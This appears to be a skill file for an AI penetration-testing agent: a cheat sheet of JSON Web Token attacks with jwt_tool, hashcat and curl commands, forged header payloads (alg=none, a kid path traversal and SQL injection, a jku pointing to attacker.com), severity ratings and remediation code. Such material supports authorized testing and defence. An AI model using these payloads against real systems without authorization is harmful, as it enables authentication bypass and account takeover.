jwt

name	jwt
description	JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
metadata	{"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"}

JSON Web Token Attacks

JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to accept none. The header carries the alg + optionally kid/jku/x5u references. Each is a potential exploitation surface.

1. Anatomy

header.payload.signature — each base64url. Decode w/ jwt_tool or jwt-cracker:

jwt_tool eyJhbGc...   # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null

2. Attack surface

2.1 alg=none bypass

Set {"alg":"none"} in header, strip signature, send header.payload.:

jwt_tool $JWT -X a    # alg=none attack

Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.

2.2 HS256 vs RS256 confusion

Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches alg to HS256 and signs w/ the public key (which the server will use as the HMAC secret):

# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint

jwt_tool $JWT -X k -pk public.pem   # alg confusion attack

2.3 kid header injection

kid (key ID) sometimes resolves to a file path or DB key:

{"alg":"HS256","kid":"../../../dev/null"}     // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}  // SQLi in kid lookup

jwt_tool -X i -I -hc kid -hv path chains kid injection variants.

2.4 jku / x5u URL injection

jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own:

{"alg":"RS256","jku":"https://attacker.com/jwks.json"}

Then https://attacker.com/jwks.json returns attacker's public key, signed JWT is "valid".

Bypass URL filters via:

• subdomain confusion (https://target.com.attacker.com/jwks.json)
• userinfo (https://[e-mail]/jwks.json)
• redirect chains via target's open-redirect

2.5 Weak HMAC secret

HS256 with weak secret crackable offline:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/ changeme/company-name patterns.

2.6 Signature stripping (Express.js / older Go libs)

Some libraries verify only IF a signature is present. Strip it:

header.payload.    ← trailing dot, no sig

2.7 Embedded jwk header

jwk in header (vs jku pointer) — attacker embeds their own pub key:

{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}

Old node-jsonwebtoken accepted this.

3. Detection in recon

JWT presence signals:

• Authorization: Bearer eyJ... headers
• access_token=eyJ... / id_token=eyJ... URL params or cookies
• .well-known/jwks.json endpoint exposed
• .well-known/openid-configuration discovery doc

4. PoC pattern (Burp + jwt_tool)

1. Capture authenticated request
2. jwt_tool <JWT> -M at -t <target_url> — runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)
3. For positive results, replay manually via Burp Repeater to confirm
4. Document the modified JWT + decoded admin claims as PoC

5. Severity calibration

Bug	Typical severity
alg=none accepted on user → admin claim swap	Critical 9.8
HS256↔RS256 confusion → arbitrary user impersonation	Critical 9.8
jku to attacker URL accepted	Critical 9.8
Weak HMAC secret cracked offline (admin role)	Critical 9.8
kid SQLi → DB enumeration	High 8.0
Signature stripping accepted	Critical 9.8

6. Defender remediation

// Node: jsonwebtoken
jwt.verify(token, publicKey, {
    algorithms: ['RS256'],      // EXPLICIT — never accept "none" or HS256 here
    audience: 'api://my-service',
    issuer: 'https://auth.mycorp.com',
});

// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256'])  // explicit algorithm

// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup

Cross-references

• Upstream catalog: skills/_corpus/payloads/JSON Web Token/
• jwt_tool: https://github.com/ticarpi/jwt_tool

Known exemplars

• Auth0 alg=none (2015) — historical CVE-2015-2951 era
• Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
• Atlassian 2022: JWT validation bypass in JIRA cloud → admin
• Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host